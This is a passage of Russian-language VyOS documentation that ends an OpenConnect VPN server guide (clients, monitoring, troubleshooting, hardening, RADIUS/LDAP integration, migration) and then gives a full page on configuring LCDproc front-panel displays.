# Логирование
set system syslog global facility all level info

commit
save
```

**Генерация OTP ключей**:
```bash
generate openconnect username admin otp-key hotp-time
generate openconnect username it_user1 otp-key hotp-time
generate openconnect username it_user2 otp-key hotp-time
generate openconnect username finance_user1 otp-key hotp-time
```

**Мониторинг и аудит**:
```bash
# Активные сессии
show vpn openconnect-server sessions

# Логи аутентификации
show log | match openconnect

# RADIUS accounting записи (на RADIUS сервере)
tail -f /var/log/freeradius/radacct/192.168.100.1/detail-*
```

## Клиенты OpenConnect

### Cisco AnyConnect (Windows/macOS)

**Установка**:
1. Скачайте Cisco AnyConnect Secure Mobility Client
2. Установите клиент
3. Запустите приложение

**Подключение**:
```
1. Введите адрес сервера: vpn.company.com
2. Нажмите Connect
3. Введите Username: alice
4. Введите Password:
   - Для password-otp: SecurePass123!123456
     (пароль + 6-значный OTP код)
   - Для otp: 123456 (только OTP код)
5. Подключено
```

**Автоматическая конфигурация** (AnyConnect profile):

Создайте файл `anyconnect-profile.xml`:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<AnyConnectProfile xmlns="http://schemas.xmlsoap.org/encoding/">
  <ServerList>
    <HostEntry>
      <HostName>Corporate VPN</HostName>
      <HostAddress>vpn.company.com</HostAddress>
    </HostEntry>
  </ServerList>
</AnyConnectProfile>
```

Импортируйте профиль в AnyConnect.

### OpenConnect Client (Linux)

**Установка**:
```bash
# Ubuntu/Debian
sudo apt-get install openconnect network-manager-openconnect-gnome

# Fedora/RHEL
sudo dnf install openconnect NetworkManager-openconnect-gnome

# Arch Linux
sudo pacman -S openconnect networkmanager-openconnect
```

**Подключение через CLI**:
```bash
# Базовое подключение
sudo openconnect vpn.company.com

# С username
sudo openconnect -u alice vpn.company.com

# С сохранением пароля в файле (небезопасно!)
echo "SecurePass123!123456" | sudo openconnect -u alice --passwd-on-stdin vpn.company.com

# С кастомными опциями
sudo openconnect -u alice --authgroup=default vpn.company.com
```

**Подключение через Network Manager** (GUI):
1. Settings -> Network
2. Add VPN -> Cisco AnyConnect Compatible VPN (openconnect)
3. Gateway: vpn.company.com
4. Username: alice
5. Save -> Connect
6. Введите пароль + OTP при запросе

**Скрипт автоматического подключения**:
```bash
#!/bin/bash
# /usr/local/bin/vpn-connect.sh

USERNAME="alice"
SERVER="vpn.company.com"

# OTP код будет запрошен интерактивно
echo "Enter password + OTP (e.g., SecurePass123!123456):"
sudo openconnect -u "$USERNAME" "$SERVER"
```

### OpenConnect Client (macOS)

**Установка через Homebrew**:
```bash
brew install openconnect

# GUI клиент (опционально)
brew install --cask openconnect-gui
```

**Подключение**:
```bash
# CLI
sudo openconnect -u alice vpn.company.com

# OpenConnect GUI
# Запустите приложение OpenConnect GUI
# Введите vpn.company.com и учетные данные
```

### Mobile клиенты

**iOS**:
- **Cisco AnyConnect**: Официальный клиент (App Store)
- **OpenConnect**: Open-source клиент (ограниченный функционал)

**Android**:
- **Cisco AnyConnect**: Официальный клиент (Google Play)
- **OpenConnect for Android**: Open-source альтернатива

**Настройка на мобильных**:
1. Установите приложение
2. Добавьте VPN соединение
3. Server: vpn.company.com
4. Username: alice
5. Password: SecurePass123!123456
6. Connect

## Продвинутые конфигурации

### Кастомный порт (не 443)

Если порт 443 занят (например, HTTPS сервисом).

```bash
configure

# Использовать порт 8443 вместо 443
set vpn openconnect listen-ports 8443

# Firewall
set firewall ipv4 input filter rule 152 action accept
set firewall ipv4 input filter rule 152 destination port 8443
set firewall ipv4 input filter rule 152 protocol tcp

commit
save
```

**Клиент подключается**:
```
Server: vpn.company.com:8443
```

### Несколько IP pools

Разные IP пулы для разных групп пользователей (требуется identity-based конфигурация через файлы).

```bash
# Основной пул (по умолчанию)
set vpn openconnect network-settings client-ip-settings subnet 10.100.0.0/24

# Дополнительные пулы настраиваются через /config/openconnect/ файлы
# (VyOS пока не имеет CLI для этого)
```

### MTU и MSS настройки

Оптимизация для сетей с нестандартным MTU.

```bash
configure

# MTU настройка (через прямые опции ocserv, если поддерживается)
# По умолчанию OpenConnect использует MTU discovery

commit
save
```

### Compression

OpenConnect поддерживает LZS compression.

```bash
# Compression включен по умолчанию
# Для отключения потребуется изменение конфигурационного файла ocserv напрямую
```

### IPv6 Support

Поддержка IPv6 для VPN клиентов.

```bash
configure

# IPv6 pool для клиентов
set vpn openconnect network-settings client-ipv6-pool prefix 2001:db8:100::/64
set vpn openconnect network-settings client-ipv6-pool mask 96

# IPv6 DNS
# (настраивается через основные name-server если они поддерживают IPv6)

commit
save
```

### Timeouts и Keepalive

Настройка таймаутов для сессий.

```bash
configure

# Idle timeout (автоматическое отключение после бездействия)
# Настраивается через конфигурационный файл ocserv

# DPD (Dead Peer Detection) включен по умолчанию

commit
save
```

### Per-User static IP

Статические IP адреса для определенных пользователей.

```bash
# Через identity-based конфигурацию в /config/openconnect/
# Создайте файл /config/openconnect/config-per-user/alice

# Содержимое файла (пример):
# ipv4-network = 10.100.0.10/32
# routes = 192.168.1.0/24, 10.0.0.0/8
```

## Мониторинг и диагностика

### Проверка статуса сервера

```bash
# Активные VPN сессии
show vpn openconnect-server sessions

# Детальная информация о сессиях
show vpn openconnect-server sessions detail
```

**Пример вывода**:
```
Username    Remote IP       VPN IP        Connected Since  RX/TX Bytes
--------    ---------       ------        ---------------  -----------
alice       203.0.113.50    10.100.0.10   Jan 15 09:30:21  125M / 89M
bob         198.51.100.25   10.100.0.11   Jan 15 11:15:45  45M / 23M
charlie     192.0.2.100     10.100.0.12   Jan 15 13:22:10  12M / 5M
```

### Логи

```bash
# Общий лог OpenConnect
show log vpn openconnect

# Последние 50 строк
show log tail 50 | match openconnect

# Поиск ошибок
show log | match "openconnect.*error"

# Поиск аутентификации
show log | match "openconnect.*auth"

# Live лог
monitor log | match openconnect
```

### Системные процессы

```bash
# Процессы ocserv
show system processes openconnect

# Использование ресурсов
show system resources
```

### Network статистика

```bash
# Интерфейсы OpenConnect
show interfaces

# Детальная статистика
show interfaces detail | match vpns

# Routing table (VPN маршруты)
show ip route
```

### RADIUS статус

```bash
# Проверка связности с RADIUS сервером
# (выполните на VyOS)
ping 192.168.1.10

# Проверка RADIUS порта (на клиенте)
nc -zv 192.168.1.10 1812

# RADIUS accounting логи (на RADIUS сервере)
tail -f /var/log/freeradius/radius.log
```

## Troubleshooting

### Клиент не может подключиться

**Проблема**: "Connection failed" или "Connection timeout".

**Диагностика**:
```bash
# Проверить firewall
show firewall ipv4 input filter

# Проверить что порт открыт
sudo netstat -tlnp | grep 443

# Проверить логи
show log | match openconnect | tail 20

# Проверить SSL сертификаты
show pki certificate openconnect-server
```

**Решение**:
1. Убедитесь что firewall правила разрешают TCP 443:
   ```bash
   set firewall ipv4 input filter rule 150 action accept
   set firewall ipv4 input filter rule 150 destination port 443
   set firewall ipv4 input filter rule 150 protocol tcp
   commit
   ```

2. Проверьте SSL сертификат (не истек ли):
   ```bash
   show pki certificate openconnect-server
   # Проверьте поле "Valid until"
   ```

3. Проверьте что OpenConnect сервис запущен:
   ```bash
   show vpn openconnect-server sessions
   ```

### Аутентификация не проходит

**Проблема**: "Authentication failed" или "Invalid username/password".

**Диагностика**:
```bash
# Проверить пользователей
show configuration commands | match openconnect.*username

# Проверить OTP ключи
show configuration commands | match openconnect.*otp

# Логи аутентификации
show log | match "auth.*failed"
```

**Решение для локальной аутентификации**:
```bash
# Сброс пароля пользователя
configure
set vpn openconnect authentication local-users username alice password 'NewSecurePass123!'
commit
```

**Решение для RADIUS**:
```bash
# Проверить связность с RADIUS
ping 192.168.1.10

# Проверить RADIUS shared secret
show configuration commands | match radius.*key

# Тест RADIUS (с RADIUS сервера)
radtest alice SecurePassword 192.168.1.1 0 SharedSecret123
```

**Решение для 2FA OTP**:
```bash
# Пересоздать OTP ключ
exit
generate openconnect username alice otp-key hotp-time

# Обновить ключ в конфигурации
configure
set vpn openconnect authentication local-users username alice otp НОВЫЙ_КЛЮЧ
commit
```

### Подключился но нет связности

**Проблема**: VPN подключен, клиент получил IP, но нет доступа к внутренней сети.

**Диагностика**:
```bash
# Проверить что клиент получил IP
show vpn openconnect-server sessions

# Проверить routing
show ip route

# Проверить firewall forward
show firewall ipv4 forward filter

# Ping с VyOS к клиенту
ping 10.100.0.10 source-address 192.168.1.1
```

**Решение**:
```bash
configure

# Добавить firewall forward правила
set firewall ipv4 forward filter rule 250 action accept
set firewall ipv4 forward filter rule 250 source address 10.100.0.0/24
set firewall ipv4 forward filter rule 250 description 'VPN clients'

# Проверить NAT (если нужен интернет доступ)
set nat source rule 100 outbound-interface name eth0
set nat source rule 100 source address 10.100.0.0/24
set nat source rule 100 translation address masquerade

commit
```

### DNS не работает

**Проблема**: Клиенты не могут резолвить имена.

**Решение**:
```bash
configure

# Проверить DNS серверы
show configuration commands | match openconnect.*name-server

# Добавить публичные DNS
set vpn openconnect network-settings name-server 8.8.8.8
set vpn openconnect network-settings name-server 1.1.1.1

commit
```

### Низкая производительность

**Проблема**: Медленная скорость через VPN.

**Диагностика**:
```bash
# Проверить CPU/Memory
show system resources

# Network статистика
show interfaces statistics
```

**Решение**:
```bash
# MTU оптимизация (на клиенте)
# В AnyConnect: Settings -> Preferences -> MTU = 1400

# Проверить что DTLS работает (UDP 443 открыт)
set firewall ipv4 input filter rule 151 action accept
set firewall ipv4 input filter rule 151 destination port 443
set firewall ipv4 input filter rule 151 protocol udp
commit

# Hardware offload (если поддерживается)
set system acceleration options
```

### RADIUS timeout

**Проблема**: "RADIUS server timeout" в логах.

**Решение**:
```bash
configure

# Увеличить timeout
set vpn openconnect authentication radius timeout 10

# Добавить backup RADIUS сервер
set vpn openconnect authentication radius server 192.168.1.11
set vpn openconnect authentication radius server 192.168.1.11 key 'SharedSecret'
set vpn openconnect authentication radius server 192.168.1.11 port 1812

commit
```

### SSL Certificate errors

**Проблема**: "SSL certificate verification failed" на клиенте.

**Решение для self-signed сертификатов**:
```
# На клиенте отключите проверку сертификата:
# OpenConnect CLI:
sudo openconnect --no-cert-check vpn.company.com

# AnyConnect:
# Settings -> Preferences -> Untrusted Server Warning -> Unblock
```

**Решение для production** (используйте Let's Encrypt):
```bash
# Получите действительный сертификат
sudo certbot certonly --standalone -d vpn.company.com

# Импортируйте в VyOS
configure
set pki certificate openconnect-server certificate "$(cat /etc/letsencrypt/live/vpn.company.com/fullchain.pem)"
set pki certificate openconnect-server private key "$(cat /etc/letsencrypt/live/vpn.company.com/privkey.pem)"
commit
```

## Безопасность

### Рекомендации по безопасности

1. **Используйте сильные пароли**:
   - Минимум 12 символов
   - Комбинация букв, цифр, специальных символов
   - Регулярная смена паролей

2. **Обязательная 2FA для production**:
   ```bash
   set vpn openconnect authentication mode local password-otp
   ```

3. **Используйте Let's Encrypt сертификаты**:
   - Автоматическое обновление
   - Доверенные клиентами
   - Бесплатные

4. **RADIUS для централизованной аутентификации**:
   - Единая база пользователей
   - Accounting и аудит
   - Возможность интеграции с AD/LDAP

5. **Firewall ограничения**:
   ```bash
   # Rate limiting для VPN порта
   set firewall ipv4 input filter rule 150 recent count 10
   set firewall ipv4 input filter rule 150 recent time minute 1
   ```

6. **Логирование всех подключений**:
   ```bash
   set system syslog global facility all level info
   ```

7. **Регулярные обновления**:
   ```bash
   # Обновление VyOS
   add system image latest
   ```

8. **IP whitelist** (если возможно):
   ```bash
   # Разрешить VPN только с определенных IP
   set firewall ipv4 input filter rule 150 source address 203.0.113.0/24
   ```

### Защита от атак

**DDoS защита**:
```bash
configure

# Connection rate limiting
set firewall ipv4 input filter rule 150 recent count 5
set firewall ipv4 input filter rule 150 recent time second 10

# SYN flood защита
set firewall ipv4 input filter rule 149 action drop
set firewall ipv4 input filter rule 149 protocol tcp
set firewall ipv4 input filter rule 149 tcp flags syn
set firewall ipv4 input filter rule 149 recent count 20
set firewall ipv4 input filter rule 149 recent time second 1

commit
```

**Brute-force защита** (через fail2ban на VyOS):

```bash
# Установка fail2ban (operational mode)
sudo apt-get install fail2ban

# Конфигурация fail2ban для OpenConnect
# /etc/fail2ban/jail.local
[openconnect]
enabled = true
port = 443
filter = openconnect
logpath = /var/log/messages
maxretry = 5
bantime = 3600
findtime = 600
```

### Аудит и compliance

**Логирование для compliance**:
```bash
configure

# Syslog на удаленный сервер
set system syslog host 192.168.1.100 facility all level info
set system syslog host 192.168.1.100 port 514

# RADIUS accounting для аудита
set vpn openconnect accounting mode radius
set vpn openconnect accounting radius server 192.168.1.50
set vpn openconnect accounting radius server 192.168.1.50 key 'AuditSecret'
set vpn openconnect accounting radius server 192.168.1.50 port 1813

commit
```

**Регулярный аудит пользователей**:
```bash
# Список активных пользователей
show configuration commands | match openconnect.*username

# История подключений (из логов)
show log | match "openconnect.*connected"
```

## Интеграция с другими сервисами

### OpenConnect + LDAP/Active Directory

Интеграция через RADIUS как proxy к AD.

**FreeRADIUS с LDAP** (на RADIUS сервере):
```
# /etc/freeradius/3.0/mods-enabled/ldap
ldap {
    server = "ldap.company.com"
    identity = "cn=radius,dc=company,dc=com"
    password = "RadiusLDAPPassword"
    base_dn = "ou=users,dc=company,dc=com"

    filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})"

    user {
        base_dn = "${..base_dn}"
        filter = "(uid=%{%{Stripped-User-Name}:-%{User-Name}})"
    }
}
```

**VyOS конфигурация**:
```bash
configure
set vpn openconnect authentication mode radius
set vpn openconnect authentication radius server 192.168.1.10 key 'Secret'
commit
```

### OpenConnect + Monitoring

Мониторинг VPN через Prometheus/Grafana.

**Node Exporter на VyOS**:
```bash
# Установка node_exporter
sudo apt-get install prometheus-node-exporter

# Firewall для Prometheus
set firewall ipv4 input filter rule 180 action accept
set firewall ipv4 input filter rule 180 source address 192.168.1.200
set firewall ipv4 input filter rule 180 destination port 9100
set firewall ipv4 input filter rule 180 protocol tcp
```

**Custom метрики OpenConnect**:
```bash
#!/bin/bash
# /usr/local/bin/openconnect_exporter.sh

# Количество активных сессий
SESSIONS=$(occtl show users | grep -c "Username:")
echo "openconnect_sessions $SESSIONS"

# Вывод метрик
```

### OpenConnect + Backup VPN

OpenConnect как backup для IPsec.

```bash
configure

# Primary: IPsec
set vpn ipsec...

# Backup: OpenConnect
set vpn openconnect...

# Routing с приоритетами (через dynamic routing или мониторинг скриптами)

commit
```

## Лучшие практики

1. **Всегда используйте 2FA** для production окружений
2. **Let's Encrypt сертификаты** вместо self-signed
3. **RADIUS accounting** для аудита и compliance
4. **Split tunneling** когда full tunnel не требуется (экономия bandwidth)
5. **Firewall правила** для ограничения доступа VPN клиентов
6. **Rate limiting** на VPN порту для защиты от DDoS
7. **Регулярный аудит** пользователей и сессий
8. **Backup конфигурации** перед изменениями
9. **Мониторинг** активных сессий и ресурсов
10. **Документирование** доступов и конфигураций
11. **Регулярные обновления** VyOS и OpenConnect
12. **Тестирование** перед применением в production
13. **Disaster recovery план** для VPN сервиса
14. **Ротация OTP ключей** при смене сотрудников
15. **Логирование на удаленный syslog** для сохранности аудита

## Миграция с других VPN

### С Cisco AnyConnect на OpenConnect

**Преимущества миграции**:
- Open-source решение (без лицензий)
- Полная совместимость с существующими клиентами
- Больше гибкости в конфигурации
- Меньше стоимость владения

**План миграции**:
1. Настройте OpenConnect параллельно с Cisco AnyConnect
2. Используйте тот же пул IP адресов (или новый, если возможно)
3. Мигрируйте пользователей поэтапно (по отделам)
4. Тестовый период (оба VPN работают)
5. Полная миграция после успешных тестов
6. Отключение Cisco AnyConnect

### С OpenVPN на OpenConnect

**Причины миграции**:
- Нужна совместимость с AnyConnect клиентами
- Требуется встроенная 2FA (OTP)
- Проще для пользователей (Cisco AnyConnect знаком многим)

**План**:
1. Установите OpenConnect на новом порту (или новом сервере)
2. Создайте тех же пользователей
3. Выдайте инструкции по подключению
4. Grace period (оба VPN работают)
5. Миграция пользователей
6. Отключение OpenVPN

## Заключение

OpenConnect VPN Server - это мощное, безопасное и гибкое решение для корпоративного remote access VPN, особенно подходящее для:

- **Enterprise окружений** с требованиями к безопасности и аудиту
- **Замены коммерческого Cisco AnyConnect** на open-source решение
- **Двухфакторной аутентификации** для критичных доступов
- **Интеграции с RADIUS/LDAP/AD** для централизованного управления пользователями
- **Строгих firewall ограничений** (работа только на TCP 443)
- **Кросс-платформенных клиентов** с единым интерфейсом

VyOS обеспечивает полную поддержку OpenConnect со всеми enterprise функциями: локальная аутентификация, RADIUS, 2FA OTP, SSL сертификаты, RADIUS accounting, и identity-based конфигурация.

Для максимальной производительности site-to-site туннелей рассмотрите **WireGuard** или **IPsec**, а для простых remote access сценариев - **OpenVPN**. OpenConnect идеален когда требуется баланс между безопасностью, совместимостью и enterprise функциями.

## Похожие материалы

- [WireGuard на VyOS](/docs/vyos/vpn/vyos-wireguard/) - современный высокопроизводительный VPN
- [IPsec на VyOS](/docs/vyos/vpn/vyos-ipsec/) - site-to-site VPN корпоративного уровня
- [OpenVPN на VyOS](/docs/vyos/vpn/vyos-openvpn/) - SSL VPN с TLS для remote access
- [L2TP/IPsec на VyOS](/docs/vyos/vpn/vyos-l2tp/) - VPN для клиентов Windows и macOS


---

# LCD - LCD дисплей для устройств

Source: https://opennix.org/docs/vyos/system/vyos-lcd/


## Обзор

VyOS поддерживает конфигурацию и управление LCD дисплеями для аппаратных устройств, таких как 19-дюймовые серверы в стойках или специализированные сетевые устройства. LCD дисплеи позволяют отображать информацию о состоянии системы в реальном времени непосредственно на физическом устройстве без необходимости подключения монитора или удаленного доступа.

### Основные возможности

- **Отображение системной информации**: Загрузка CPU, использование памяти, сетевые интерфейсы
- **Статус сети**: IP-адреса, статистика интерфейсов, информация о соединениях
- **Пользовательские сообщения**: Настраиваемый текст для идентификации устройства
- **Поддержка LCDPROC**: Использование мощного демона LCDPROC для управления дисплеями
- **Множество типов подключения**: USB, последовательный порт (serial), параллельный порт

### Важные замечания

**Только для физического оборудования**: Функциональность LCD дисплея предназначена исключительно для bare-metal установок VyOS на физическом оборудовании. Данная функция не применима для виртуальных машин или облачных развертываний.

**Ограниченная поддержка моделей**: VyOS поддерживает ограниченный набор LCD дисплеев из коробки. Если ваша модель не поддерживается, создайте запрос на добавление функциональности через систему отслеживания проблем VyOS.

## Архитектура LCDPROC

VyOS использует LCDPROC - клиент-серверную архитектуру для управления LCD дисплеями:

- **LCDd (демон)**: Серверный процесс, который напрямую взаимодействует с аппаратным дисплеем
- **Клиенты**: Программы, которые подключаются к LCDd для отображения информации
- **Драйверы**: Специфичные для оборудования модули для различных моделей дисплеев

### Преимущества LCDPROC

1. **Модульность**: Разделение логики отображения от аппаратного управления
2. **Множественные клиенты**: Несколько программ могут использовать один дисплей
3. **Поддержка широкого спектра оборудования**: Обширная база драйверов
4. **Сетевая прозрачность**: Возможность удаленного управления дисплеем

## Поддерживаемые модели дисплеев

### CrystalFontz

VyOS официально поддерживает следующие модели CrystalFontz:

#### CFA-533

```
Модель: cfa533
Тип: LCD текстовый дисплей
Размер: 16x2 символа
Интерфейс: USB
Особенности:
  - 4 направленные кнопки навигации
  - Подсветка с регулируемой яркостью
  - Контрастность настраиваема программно
```

**Конфигурация:**

```bash
set system lcd device ttyUSB0
set system lcd model cfa533
commit
save
```

#### CFA-631

```
Модель: cfa631
Тип: LCD текстовый дисплей
Размер: 20x2 символа
Интерфейс: USB
Особенности:
  - Увеличенный размер дисплея
  - 4 направленные кнопки + 2 дополнительные
  - RGB подсветка
  - Встроенный температурный датчик
```

**Конфигурация:**

```bash
set system lcd device ttyUSB0
set system lcd model cfa631
commit
save
```

#### CFA-633

```
Модель: cfa633
Тип: LCD текстовый дисплей
Размер: 16x2 символа
Интерфейс: USB / Serial
Особенности:
  - Гибкое подключение (USB или RS-232)
  - 4 направленные кнопки
  - Подсветка с регулировкой
  - Совместимость с 5.25" отсеком
```

**Конфигурация (USB):**

```bash
set system lcd device ttyUSB0
set system lcd model cfa633
commit
save
```

**Конфигурация (Serial):**

```bash
set system lcd device ttyS0
set system lcd model cfa633
commit
save
```

#### CFA-635

```
Модель: cfa635
Тип: LCD текстовый дисплей
Размер: 20x4 символа
Интерфейс: USB / Serial
Особенности:
  - Большой дисплей 20x4
  - 6 направленных кнопок
  - RGB подсветка
  - До 4 вентиляторов с управлением
  - Температурные датчики (до 32)
  - DOW считыватель
```

**Конфигурация:**

```bash
set system lcd device ttyUSB0
set system lcd model cfa635
commit
save
```

### Matrix Orbital

**Расширенная поддержка**: Хотя официальная документация VyOS упоминает только модели CrystalFontz, LCDPROC поддерживает широкий спектр дисплеев Matrix Orbital. Для использования этих моделей может потребоваться ручная конфигурация LCDPROC или запрос на добавление поддержки.

Популярные модели Matrix Orbital:

- **GLK12232-25-USB**: Графический дисплей 122x32
- **GLK19264-7T-1U**: Графический дисплей 192x64
- **LK162-12**: Текстовый дисплей 16x2
- **LK204-25**: Текстовый дисплей 20x4

### Другие производители

LCDPROC поддерживает дисплеи от:

- **Hitachi HD44780**: Базовый LCD контроллер (множество производителей)
- **Noritake**: VFD дисплеи
- **SureElec**: USB LCD дисплеи
- **Tyan**: Встроенные дисплеи серверов
- **Shuttle**: Дисплеи для ПК-корпусов

## Конфигурация

### Базовая настройка

Минимальная конфигурация требует указания устройства и модели дисплея:

```bash
configure
set system lcd device <device_path>
set system lcd model <model_name>
commit
save
```

### Определение устройства

#### Автоматическое определение USB устройств

VyOS поддерживает tab-completion для доступных последовательных интерфейсов:

```bash
configure
set system lcd device <TAB>
```

Вывод:

```
Possible completions:
  ttyS0        Serial port 0
  ttyS1        Serial port 1
  ttyUSB0      USB serial device 0
  ttyUSB1      USB serial device 1
```

#### Определение USB LCD вручную

Для определения подключенного USB LCD дисплея:

```bash
lsusb
```

Пример вывода:

```
Bus 001 Device 003: ID 0403:fc0d Future Technology Devices International, Ltd
```

Проверка создания устройства:

```bash
ls -la /dev/ttyUSB*
```

Вывод:

```
crw-rw---- 1 root dialout 188, 0 Oct 15 10:23 /dev/ttyUSB0
```

#### Последовательные порты (Serial)

Стандартные последовательные порты:

- **ttyS0**: COM1 (IRQ 4, IO 0x3F8)
- **ttyS1**: COM2 (IRQ 3, IO 0x2F8)
- **ttyS2**: COM3 (IRQ 4, IO 0x3E8)
- **ttyS3**: COM4 (IRQ 3, IO 0x2E8)

Проверка доступности порта:

```bash
dmesg | grep ttyS
```

### Выбор модели дисплея

Список поддерживаемых моделей можно получить через tab-completion:

```bash
configure
set system lcd model <TAB>
```

Вывод:

```
Possible completions:
  cfa533       Crystalfontz CFA-533
  cfa631       Crystalfontz CFA-631
  cfa633       Crystalfontz CFA-633
  cfa635       Crystalfontz CFA-635
```

### Пример полной конфигурации

#### Пример 1: CFA-633 через USB

```bash
configure

# Настройка LCD дисплея
set system lcd device ttyUSB0
set system lcd model cfa633

# Применение конфигурации
commit

# Сохранение конфигурации
save

exit
```

#### Пример 2: CFA-635 через Serial

```bash
configure

# Настройка LCD дисплея
set system lcd device ttyS0
set system lcd model cfa635

# Применение конфигурации
commit

# Сохранение конфигурации
save

exit
```

#### Пример 3: CFA-533 для стоечного сервера

```bash
configure

# LCD дисплей для идентификации в стойке
set system lcd device ttyUSB0
set system lcd model cfa533

# Настройка hostname для отображения
set system host-name rack-router-01

# Применение и сохранение
commit
save

exit
```

## Отображаемая информация

### Системные экраны

LCDPROC автоматически циклически отображает следующую информацию:

#### Экран 1: Системная информация

```
VyOS 1.5.0-rc
Uptime: 5d 3h 42m
```

Отображает:

- Версию VyOS
- Время работы системы (uptime)

#### Экран 2: Процессор и память

```
CPU: 45% [||||    ]
MEM: 2.3G/8.0G 28%
```

Отображает:

- Загрузку процессора в процентах и графически
- Использование памяти (использовано/всего)

#### Экран 3: Сетевые интерфейсы

```
eth0: 192.168.1.1
UP 1000Mb/s Full
```

Отображает:

- IP-адрес основного интерфейса
- Статус линка и скорость соединения

#### Экран 4: Статистика сети

```
RX: 1.2TB 45Mb/s
TX: 834GB 12Mb/s
```

Отображает:

- Полученные данные (всего и текущая скорость)
- Отправленные данные (всего и текущая скорость)

#### Экран 5: Hostname

```
rack-router-01
Ready
```

Отображает:

- Имя хоста системы
- Статус готовности

### Время обновления

Информация на дисплее обновляется:

- **Системная информация**: Каждые 5 секунд
- **CPU/Memory**: Каждую секунду
- **Сетевая статистика**: Каждые 2 секунды
- **Переключение экранов**: Каждые 4-6 секунд

## Проверка конфигурации

### Просмотр активной конфигурации

```bash
show configuration commands | grep lcd
```

Вывод:

```
set system lcd device 'ttyUSB0'
set system lcd model 'cfa633'
```

### Проверка статуса LCDPROC

Проверка запущенного процесса LCDd:

```bash
ps aux | grep LCDd
```

Вывод:

```
root      1234  0.1  0.2  12345  6789 ?        Ss   10:23   0:01 /usr/sbin/LCDd
```

### Проверка логов

Просмотр логов LCDPROC для диагностики:

```bash
journalctl -u lcdproc.service
```

Или:

```bash
cat /var/log/syslog | grep -i lcdproc
```

### Тестирование подключения

Проверка доступности устройства:

```bash
ls -la /dev/ttyUSB0
```

Проверка прав доступа:

```bash
stat /dev/ttyUSB0
```

## Устранение неполадок

### Проблема: Дисплей не инициализируется

**Симптомы**: Дисплей остается пустым после конфигурации.

**Решение 1**: Проверить правильность устройства

```bash
# Список USB устройств
lsusb

# Список последовательных устройств
ls -la /dev/ttyUSB* /dev/ttyS*

# Проверить, что устройство создано
dmesg | tail -50
```

**Решение 2**: Проверить права доступа

```bash
# Добавить пользователя в группу dialout
sudo usermod -a -G dialout root

# Проверить права на устройство
ls -la /dev/ttyUSB0

# Должно быть: crw-rw---- 1 root dialout
```

**Решение 3**: Перезапустить службу LCDPROC

```bash
sudo systemctl restart lcdproc
sudo systemctl status lcdproc
```

### Проблема: Неправильная модель дисплея

**Симптомы**: Дисплей показывает искаженные символы или мерцает.

**Решение**: Убедиться в правильности модели

```bash
configure

# Удалить старую конфигурацию
delete system lcd model

# Установить правильную модель
set system lcd model <correct_model>

commit
save
```

### Проблема: USB устройство отключается

**Симптомы**: Дисплей периодически пропадает.

**Решение 1**: Отключить USB autosuspend

```bash
# Найти USB устройство
lsusb -t

# Отключить autosuspend для конкретного устройства
echo -1 > /sys/bus/usb/devices/1-1/power/autosuspend_delay_ms
```

**Решение 2**: Проверить питание USB

```bash
# Проверить ограничения по питанию
lsusb -v | grep -i maxpower

# Убедиться, что USB порт обеспечивает достаточное питание
```

### Проблема: Конфликт последовательного порта

**Симптомы**: Ошибка "Device is busy" при конфигурации.

**Решение**: Проверить, не используется ли порт другим процессом

```bash
# Проверить процессы, использующие устройство
lsof /dev/ttyUSB0

# Или через fuser
fuser /dev/ttyUSB0

# Остановить конфликтующий процесс
kill <PID>
```

### Проблема: Дисплей показывает старую информацию

**Симптомы**: Информация на дисплее не обновляется.

**Решение**: Перезапустить LCDPROC с очисткой

```bash
# Остановить службу
sudo systemctl stop lcdproc

# Очистить возможные блокировки
sudo rm -f /var/run/LCDd.pid

# Запустить снова
sudo systemctl start lcdproc

# Проверить статус
sudo systemctl status lcdproc
```

### Проблема: Неподдерживаемая модель

**Симптомы**: Нужная модель не появляется в tab-completion.

**Решение**: Запросить добавление поддержки

1. Проверить поддержку в LCDPROC напрямую
2. Создать feature request в VyOS Phabricator:
   - URL: https://vyos.dev/
   - Указать модель дисплея
   - Указать производителя и спецификации
   - Приложить документацию на дисплей

**Временное решение**: Ручная конфигурация LCDPROC

```bash
# Редактировать конфигурационный файл LCDPROC напрямую
sudo vi /etc/LCDd.conf

# Добавить секцию для вашего драйвера
[your_driver]
Device=/dev/ttyUSB0
Size=20x4

# Перезапустить службу
sudo systemctl restart lcdproc
```

## Расширенная конфигурация

### Ручная настройка LCDPROC

Для продвинутых настроек можно редактировать конфигурационный файл LCDPROC напрямую:

```bash
sudo vi /etc/LCDd.conf
```

Пример расширенной конфигурации для CFA-635:

```ini
[server]
Driver=CFontz635
Bind=127.0.0.1
Port=13666
ReportLevel=3
ReportToSyslog=yes

[CFontz635]
Device=/dev/ttyUSB0
Size=20x4
Contrast=560
Brightness=1000
OffBrightness=0
Speed=115200
NewFirmware=yes
Reboot=no
```

### Настройка контрастности и яркости

Для моделей с программной настройкой:

```ini
[CFontz633]
Device=/dev/ttyUSB0
Size=16x2
# Контрастность (0-1000)
Contrast=500
# Яркость (0-1000)
Brightness=800
# Яркость при неактивности (0-1000)
OffBrightness=100
```

### Настройка скорости порта

Для последовательных подключений:

```ini
[CFontz633]
Device=/dev/ttyS0
# Скорость передачи (baud rate)
Speed=19200
# Возможные значения: 1200, 2400, 9600, 19200, 38400, 57600, 115200
```

### Настройка кнопок

Для моделей с кнопками:

```ini
[menu]
# Включить меню с кнопками
MenuKey=Enter
# Назначение кнопок
UpKey=Up
DownKey=Down
LeftKey=Left
RightKey=Right
```

## Лучшие практики

### 1. Выбор устройства

- **USB предпочтительнее**: USB соединения более универсальны и просты в настройке
- **Serial для критичных систем**: Последовательные порты более надежны в суровых условиях
- **Избегайте длинных USB кабелей**: Используйте кабели не длиннее 3 метров

### 2. Идентификация в дата-центре

Используйте осмысленные имена хостов для облегчения идентификации:

```bash
set system host-name dc1-edge-router-01
set system domain-name example.com
```

Дисплей будет показывать:

```
dc1-edge-router-01
.example.com
```

### 3. Документирование конфигурации

Добавьте описание системы:

```bash
set system description "Edge Router - Rack 15, Position 23"
```

### 4. Мониторинг состояния дисплея

Создайте скрипт для периодической проверки:

```bash
#!/bin/bash
# /config/scripts/check_lcd.sh

if ! pgrep -x "LCDd" > /dev/null; then
    logger "LCD daemon not running, restarting..."
    systemctl restart lcdproc
fi
```

Добавьте в планировщик:

```bash
set system task-scheduler task check-lcd interval 5m
set system task-scheduler task check-lcd executable path /config/scripts/check_lcd.sh
```

### 5. Резервное копирование конфигурации

LCD конфигурация сохраняется в `/config/config.boot`:

```bash
# Резервная копия
sudo cp /config/config.boot /config/config.boot.backup

# Или через VyOS команду
save /config/config.boot.backup
```

